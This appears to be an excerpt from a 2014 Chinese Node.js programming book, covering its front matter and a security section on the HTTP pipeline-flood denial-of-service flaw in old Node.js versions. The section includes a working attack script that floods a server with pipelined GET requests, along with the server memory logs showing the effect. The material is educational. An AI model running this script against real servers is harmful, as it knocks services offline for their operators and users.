Broadview
www.broadview.com.cn

node 社区原创

Node.js实战

赵坤 寸志 雷宗民 吴中骅 著

★让人大呼过瘾的Node.js热门案例分享★

朴 灵
阿里巴巴数据产品部总监
CNode.org社区创始人

袁 锋
阿里巴巴数据产品部资深Web开发工程师
CNode.org社区核心成员

谢骋超
网易高级技术专家
Pomelo框架创始人

倾情力荐

電子工業出版社
PUBLISHING HOUSE OF ELECTRONICS INDUSTRY
http://www.phei.com.cn

内 容 简 介

本书通过 8 个实例讲解了 Node.js 在实战开发中的应用，涉及 Node.js 常用框架、非关系型数据库、关系型数据库、运维命令和网络安全等内容。章节按照从简单到复杂的难度排序，每一章都通过一个有趣的实例指引读者从头开发一个应用，让读者可以循序渐进地学习 Node.js，以及在实战开发中的编程技巧。

本书面向的是有一定 Node.js 基础的读者，建议读者把本书当作入门书和进阶书之间的过渡书籍来阅读。当然，本书也适合那些有其他服务器编程语言基础，并且想尝试 Node.js 新鲜技术的人阅读。

图书在版编目（CIP）数据

Node.js 实战 / 赵坤等著 . —北京：电子工业出版社，2014.5
ISBN 978-7-121-22676-2

Ⅰ . ① N… Ⅱ . ①赵… Ⅲ . ① JAVA 语言—程序设计 Ⅳ . ① TP312

中国版本图书馆 CIP 数据核字（2014）第 053309 号

责任编辑：徐津平
特约编辑：顾慧芳
印　　刷：三河市双峰印刷装订有限公司
装　　订：三河市双峰印刷装订有限公司
出版发行：电子工业出版社
　　北京市海淀区万寿路 173 信箱　　邮编：100036
开　　本：787 × 980　　1/16　　印张：24.5　字数：643 千字
印　　次：2014 年 5 月第 1 次印刷
定　　价：59.00 元

凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。若书店售缺，请与本社发行部联系，联系及邮购电话：（010）88254888。

质量投诉请发邮件至 zlts@phei.com.cn，盗版侵权举报请发邮件至 dbqq@phei.com.cn。

服务热线：（010）88258888。

9.2 Node.js中的Web安全

Node.js作为一门新型的开发语言，很多开发者都会用它来快速搭建Web站点，期间随着版本号的更替也修复了不少漏洞。因为Node.js提供的网络接口较PHP更为底层，同时没有如apache、nginx等Web服务器的前端保护，所以Node.js应该更加关注安全方面的问题。

9.2.1 HTTP管道洪水漏洞

在Node.js版本0.8.26和0.10.21之前，都存在一个管道洪水的拒绝服务漏洞（pipeline flood DoS）。官网在发布这个漏洞修复代码之后，强烈建议在生产环境使用Node.js的版本升级到0.8.26和0.10.21；这是因为这个漏洞威力巨大，攻击者可以用很廉价的普通PC轻易地击溃一个正常运行的Node.js的HTTP服务器。

这个漏洞产生的原因很简单，主要是因为客户端不接收服务器端的响应，但客户端又拼命发送请求，造成Node.js的Stream流无法泄洪，主机内存耗尽而崩溃，官网给出的解释如下：

当在一个连接上的客户端有很多HTTP请求管道，并且客户端没有读取Node.js服务器响应的数据，那么Node.js的服务将可能被击溃。强烈建议任何在生产环境下的版本是0.8或0.10的HTTP服务器都尽快升级。新版本Node.js修复了问题，当服务器端在等待stream流的drain事件时，socket和HTTP解析将会停止。在攻击脚本中，socket最终会超时，并被服务器端关闭连接。如果客户端并不是恶意攻击，只是发送大量的请求，但是响应非常缓慢，那么服务器端响应的速度也会相应降低。

现在让我们看一下这个漏洞造成的杀伤力吧，我们在一台4CPU，4GB内存的服务器上启动一个Node.js的HTTP服务，Node.js版本为0.10.7。服务器脚本如下：

```
var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
    response.writeHead(200, {'Content-Type': 'text/plain'});
    response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
    console.log(process.memoryUsage());
```

```
},1000*60)
```

上述代码是我们启动了一个Node.js服务器、监听8124端口、响应1MB的字符h、同时每分钟打印Node.js内存使用情况，方便我们在执行攻击脚本之后查看服务器的内存使用情况。

在另外一台同样配置的服务器上启动如下攻击脚本：

```
var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:'192.168.28.4'},
    function() { //'connect' listener
        while(i--){
          client.write(attack_str);
          }
    });
client.on('error', function(e) {
    console.log('attack success');
});
```

我们的攻击脚本加载了net模块，然后定义了一个基于HTTP协议的GET方法的请求头，再然后我们使用tcp连接到Node.js服务器，循环发送10W次GET请求，但是不监听服务器端响应事件，也就无法对服务器端响应的stream流进行消费。在攻击脚本启动10分钟后，Web服务器打印的内存使用情况如下：

```
{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }
```

我们在服务器执行top命令，查看系统内存的使用情况如下：

```
Mem:   3925040k total,  3290428k used,   634612k free,   170324k buffers
```

可以看到，我们的攻击脚本只用了一个socket连接就消耗掉大量服务器的内存，更可怕的是这部分内存不会自动释放，需要手动重启进程才能回收。攻击脚本执行之后Node.js进程占用内存比之前提高近200倍，如果有2～3个恶意攻击socket连接，服务器物理内存必然用完，然后开始频繁地交换，从而失去响应或者进程崩溃。